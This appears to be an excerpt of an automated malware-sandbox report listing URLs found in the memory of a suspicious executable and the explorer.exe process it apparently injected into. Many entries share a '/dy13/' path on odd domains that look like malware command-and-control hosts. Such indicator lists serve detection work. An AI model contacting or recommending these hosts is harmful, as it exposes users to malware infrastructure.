          Source: explorer.exe, 00000005.00000002.4093721221.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
          Source: explorer.exe, 00000005.00000000.1674090829.000000000CA63000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4102382128.000000000CA63000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.mi
          Source: explorer.exe, 00000005.00000000.1674090829.000000000CA63000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4102382128.000000000CA63000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.micr
          Source: explorer.exe, 00000005.00000000.1664847019.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1665286520.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1666809306.0000000009B60000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.micro
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.484844.vip
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.484844.vip/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.484844.vip/dy13/www.manga-house.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.484844.vipReferer:
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.883106.photos
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.883106.photos/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.883106.photos/dy13/www.tyupok.xyz
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.883106.photosReferer:
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.acc-pay.top
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.acc-pay.top/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.acc-pay.top/dy13/www.umeshraja.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.acc-pay.topReferer:
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
          Source: explorer.exe, 00000005.00000000.1672208552.000000000C964000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3106196438.000000000C9E7000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3/J
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.b0ba138.xyz
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.b0ba138.xyz/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.b0ba138.xyz/dy13/www.imuschestvostorgov.online
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.b0ba138.xyzReferer:
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.bdsmnutzbar.info
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.bdsmnutzbar.info/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.bdsmnutzbar.info/dy13/H
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.bdsmnutzbar.infoReferer:
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.carefulapp.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.carefulapp.com/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.carefulapp.com/dy13/www.freedompopo.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.carefulapp.comReferer:
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.cpuk-finance.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.cpuk-finance.com/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.cpuk-finance.com/dy13/www.acc-pay.top
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.cpuk-finance.comReferer:
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.freedompopo.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.freedompopo.com/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.freedompopo.com/dy13/www.bdsmnutzbar.info
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.freedompopo.comReferer:
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.imuschestvostorgov.online
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.imuschestvostorgov.online/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.imuschestvostorgov.online/dy13/www.cpuk-finance.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.imuschestvostorgov.onlineReferer:
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.manga-house.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.manga-house.com/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.manga-house.com/dy13/www.carefulapp.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.manga-house.comReferer:
          Source: mQY9ka5sW6hv2Ri.exeString found in binary or memory: http://www.opcom.ro/rapoarte/export_csv_raportPIPsiVolumTranzactionat_PI.php?zi=
          Source: mQY9ka5sW6hv2Ri.exeString found in binary or memory: http://www.opcom.ro/rapoarte/export_xml_PIPsiVolTranPI.php?zi=
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.real-estate-96841.bond
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.real-estate-96841.bond/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.real-estate-96841.bond/dy13/www.taini00.net
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.real-estate-96841.bondReferer:
